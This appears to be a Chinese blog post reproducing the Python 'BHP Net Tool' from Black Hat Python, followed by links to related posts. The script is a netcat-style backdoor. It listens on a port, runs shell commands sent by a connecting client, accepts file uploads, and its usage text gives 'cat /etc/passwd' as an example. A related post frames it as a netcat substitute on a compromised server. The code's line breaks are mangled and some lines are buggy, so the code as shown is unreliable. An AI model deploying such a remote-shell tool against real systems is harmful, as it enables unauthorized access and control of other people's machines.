#导入需要用到的包
import sys
import getopt
import threading
import socket
import subprocess #定义全局变量
listen = False
command = False
upload = False
execute = ''
target = ''
upload_destination = ''
port = 0 def usage():
print('''BHP Net Tool usage: bhpnet.py -t target_host -p port
-l --listen - listen on [host]:[port] for incoming connections
-e --execute - execute the given file upon receiving a connection
-c --command - initialize a command shell
-u --upload = destination - upon receiving connection upload a file and write to [destination] Examples:
bhpnet.py -t 192.168.0.1 -p 5555 -l -c
bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe
bhpnet.py -t 192.168.0.1 -p 5555 -l -e=cat /etc/passwd
echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.0.1 -p 135
''')
sys.exit(0) def client_sender(buffer):
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try:
#连接到目标主机 client.connect((target,port)) if len(buffer):
client.send(buffer.encode()) while True: #等待数据回传
recv_len = 1
response = '' while recv_len:
data = client.recv(4096)
recv_len = len(data)
response+=data.decode() if recv_len < 4096:
break print(response,end='') #等待输入
buffer = input('')
buffer +='\n' #发送出去 client.send(buffer.encode()) except Exception as e:
print(str(e))
print('[*] Exception ! Exiting .')
client.close() def server_loop():
global target if not target:
target = '0.0.0.0' server = socket.socket()
server.bind((target,port))
server.listen(255) while True:
client_socket,addr = server.accept() #分拆一个线程处理新的客户端
client_thread = threading.Thread(target = client_handler,args = (client_socket,))
client_thread.start() def client_handler(client_socket):
global upload
global execute
global command if len(upload_destination):
#检测上传文件 file_buffer = '' #持续读取数据直到没有符合的数据
while True:
data = client_socket.recv(1024)
if not data:
break else:
file_buffer += data.decode()
try:
file_descriptor = open(upload_destination,'wb')
file_descriptor.write(file_buffer)
file_descriptor.close()
client_socket.send('Sucessfully saved file to %s\r\n'.encode() % upload_destination) except Exception as e:
print(str(e))
print('Failed to save file to %s\r\n' % upload_destination) if len(execute):
output = run_command(execute) client_socket.send(output.encode()) if command:
while True:
client_socket.send("<BHP:#> ".encode())
cmd_buff = ''
while '\n' not in cmd_buff:
cmd_buff += client_socket.recv(1024).decode()
response = run_command(cmd_buff) client_socket.send(response) def run_command(command):
command = command.rstrip() try:
output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell = True) except Exception as e:
print(str(e))
print('Failed to execute command.') return output def main():
global listen
global command
global upload
global execute
global target
global upload_destination
global port if not len(sys.argv[1:]): #如果没有参数则打印帮助信息
usage() try:
options,args = getopt.getopt(sys.argv[1:],'hle:t:p:cu:',['help','listen','target','port','command','upload'])
except getopt.GetoptError as err:
print(str(err))
usage() for o,a in options:
if o in ('-h','--help'):
usage()
elif o in ('-l','--listen'):
listen = True
elif o in ('-e','--execute'):
execute = a
elif o in ('-c','--command'):
command = True
elif o in ('-u','--upload'):
upload_destination = a
elif o in ('-t','--target'):
target = a
elif o in ('-p','--port'):
port = int(a)
else :
assert False,"Unhandled Option" if not listen and len(target) and port > 0 :
buffer = sys.stdin.read() client_sender(buffer) if listen :
server_loop()
main()

BHP Net Tool的更多相关文章

  1. 取代netcat

    前言 众所周知,netcat是网络界的瑞士军刀,它的主要作用是:提供连接其他终端的方法,可以上传文件,反弹shell等等各种利于别人控制你电脑的操作.所以聪明的系统管理员会将它从系统中移除,这样当别人 ...

  2. python黑帽子

    1.TCP客户端 #AF_INET 使用标准的IPv4地址或者主机名 #SOCK_STREAM是一个客户端 import socket target_host = 'www.google.com' t ...

  3. 《Python黑帽子:黑客与渗透测试编程之道》 网络基础

    TCP客户端: 示例中socket对象有两个参数,AF_INET参数表明使用IPv4地址或主机名 SOCK_STREAM参数表示是一个TCP客户端.访问的URL是百度. #coding=utf-8 i ...

  4. Black Hat Python之#1:制作简单的nc工具

    nc即netcat,是网络界的瑞士军刀.当入侵了一个服务器之后,发现nc工具已经被系统管理员移除之后,可以自己制作一个简单的客户端和服务器端来实现①上传文件②执行命令③开启一个新的命令行shell等几 ...

  5. [免费了] SailingEase .NET Resources Tool (.NET 多语言资源编辑器)

    这是我2010年左右,写 Winform IDE (http://www.cnblogs.com/sheng_chao/p/4387249.html)项目时延伸出的一个小项目. 最初是以共享软件的形式 ...

  6. jBPM4.4 no jBPM DB schema: no JBPM4_EXECUTION table. Run the create.jbpm.schema target first in the install tool.

    jBPM4.4 no jBPM DB schema: no JBPM4_EXECUTION table. Run the create.jbpm.schema target first in the ...

  7. mtk flash tool,Win7 On VirtualBox

    SP_Flash_Tool_exe_Windows_v5.1624.00.000 Win7 在 VirtualBox, 安裝 mtk flash tool, v5.1628 在燒錄時會 fail. v ...

  8. 使用Microsoft Web Application Stress Tool对web进行压力测试

    Web压力测试是目前比较流行的话题,利用Web压力测试可以有效地测试一些Web服务器的运行状态和响应时间等等,对于Web服务器的承受力测试是个非常好的手法.Web 压力测试通常是利用一些工具,例如微软 ...

  9. How to Use Android ADB Command Line Tool

    Android Debug Bridge (adb) is a tool that lets you manage the state of an emulator instance or Andro ...

随机推荐

  1. 启动Tomcat一闪而过——分析及解决过程

    启动Tomcat一闪而过--分析及解决过程 嗯,昨天将有关JDK的知识稍微整理了一下,现在稍微整理一下有关Tomcat的! 1:Tomcat是什么? Tomcat是当今世界上使用最为广泛的.开源免费的 ...

  2. byte数据的常用操作函数[转发]

    /// <summary> /// 本类提供了对byte数据的常用操作函数 /// </summary> public class ByteUtil { ','A','B',' ...

  3. 常用CSS样式

    1.line-height:行高.默认normal normal:允许内容顶开或溢出制定的容器边界; length:15px,可以为负数; ... 2.overflow:滚动条设置 overflow- ...

  4. 启动Mysql服务提示Can’t connect to local MySQL server through socket的解决方法

    启动Mysql服务常会提示下面错误: ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/lib/ ...

  5. 我的PHP编程环境变迁:notepad -> notepad++ -> Sublime Text2 -> PhpStorm

    10多年前最一开始写PHP程序的时候是用windows自带的notepad,现在想来真的很屌丝. 后来经人推荐换成了notepad++,感觉还是相当不错的(中间还用过一阵子editplus). 比较喜 ...

  6. 涵涵和爸爸习惯养成进度表(二)(May 30 - )

    规则说明 22天内,没有哭脸,不超过三个无表情脸,可以给一个奖励(动画书等) 涵涵违反规则,在爸爸和妈妈都同意的情况下,可以给无表情脸 爸爸违反规则,在妈妈和涵涵都同意的情况下,可以给无表情脸 获奖记 ...

  7. AngulaJs+Web Api Cors 跨域访问失败的解决办法

    //在服务的WebConfig文件中添加以下代码即可 //如节点已存在请去掉 <system.webServer> <httpProtocol> <customHeade ...

  8. 64位系统下找不到office 32位组件

    如果系统式64位的,而装的是32位的office软件,在运行栏中输入命令:dcomcnfg,打开组件服务管理窗口,但是却发现找不到Microsoft Excel程序, 这主要是64位系统的问题,exc ...

  9. C++ Daily 《6》---- 类静态对象与函数静态对象

    C++ 的一个哲学基础是,你不应该为你使用的东西付出代价. class 拥有一个 static 成员,即使从未被用到,它也会被构造和析构: 而 函数拥有一个 static 成员, 如果这个函数从未被调 ...

  10. 关于变量和函数前&符号的作用

    首先看一下下面的例子 <?php $a="val1"; $b="val2"; $a=&$b; echo $a."<br/>& ...